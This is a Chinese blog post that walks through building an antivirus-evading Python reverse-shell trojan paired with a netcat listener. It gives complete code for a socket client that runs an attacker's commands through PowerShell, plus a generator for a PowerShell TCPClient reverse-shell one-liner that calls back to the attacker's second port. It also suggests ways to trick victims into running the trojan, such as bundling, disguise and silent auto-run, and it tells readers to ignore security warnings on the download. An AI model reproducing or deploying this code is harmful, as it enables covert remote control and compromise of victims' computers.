Python NC 联动拿powershell (过99%免杀)

1|0Python与NC联动,基本实现全免杀,弹回powershell

1|1作者:liusuxy


这里仅用反弹powershell演示,大家可以发挥脑洞

1|0自创反弹shell免杀五部曲:

  • 1|01:确定想法

  • 1|02:实现框架

  • 1|03:增加保护

  • 1|04:启动木马

  • 1|05:维持会话或提权

1|2一,确定想法

  • 1|0用python服务器与客户端的原理制作反弹shell的控制端与被控制端,

  • 1|0最后执行在会话中执行恶意命令来获取一个稳定的powershell

  • 1|0记:控制端两次使用的端口不能相同


1|3二,实现框架

1|0这里我们需要两个文件

  • 1|0受害者运行的恶意程序

  • 1|0在第一个会话中执行代码的生成器

1|0受害者运行的恶意程序编写

1|01. 我们采用socket库编写,这里只用编写客户端(受控端)的代码,服务端(控制端)使用nc即可

1|0木马的代码:

(注:可以用pyinstaller转换为exe)

import os
import time
import socket
'''################'''
server_ip = '' # 更改为控制端的IP
server_port = 13524 # 更改为控制端的第一PORT
'''################'''
mod = '''powershell -nop -c "{0}"'''
s = socket.socket()
while True:
try:
s.connect((server_ip, server_port))
break
except:
time.sleep(3)
while True:
s.send(b'[Powershell:->')
cmd = s.recv(1024).decode()
s.send(os.popen(mod.format(cmd)).read().encode())
s.close()

1|0现在我们还需一个在第一个会话中执行代码的生成器

1|4推荐参考Reverse Shell Generator 反弹shell生成

1|0这里放出代码及使用方法

import sys
server_ip = sys.argv[1]
server_port_second = sys.argv[2]
print("服务端IP:",server_ip,"\n服务端监听powershell端口:",server_port_second)
print('复制代码在nc中运行:')
print('''$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});'''.format(str(server_ip),str(server_port_second)),end='')
print('''$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()''')

1|0使用方法:python3/python + 这个文件的地址 + 控制端IP + 控制端另一个端口

1|0弹回的执行代码 复制

  • 1|0e.g. python3 creative.py 127.0.0.1 12212

1|5三:增加保护

1|0作者采用pyinstaller保护(其实pyinstaller后会被杀软误判)

这里不细讲,可以看看crow在B站的视频

1|6四:启动木马

1|0想办法让受害者运行木马,这里举几个思路

  • 1. 捆绑软件
  • 2. 伪装软件
  • 3. 伪装并让受害者不知情地下载,然后悄咪咪的自动运行
  • 4. 渗透内网
  • 5. 调用漏洞

1|0当受害者运行木马后

1|0我们自然得到第一个会话

1|0e.g. [Powershell:->

1|0接着在里面输入复制好的代码并回车


2|0重点:此时刚刚的代码会命令受害者连接控制端的第二个端口,而刚好就是这个特性能够几乎所有杀软(即使无法连接第二个会话,也有第一个简单的SHELL)

2|1五:维持会话或提权

2|2此时执行 nc -lvvp 第二个端口 就能获得稳定的powershell

2|3相关资源下载(可能提示有危险,不用管他,毕竟是Python 木马):


__EOF__

本文作者liusuxy
本文链接https://www.cnblogs.com/liusuxy/p/15816065.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   liusuxy  阅读(695)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示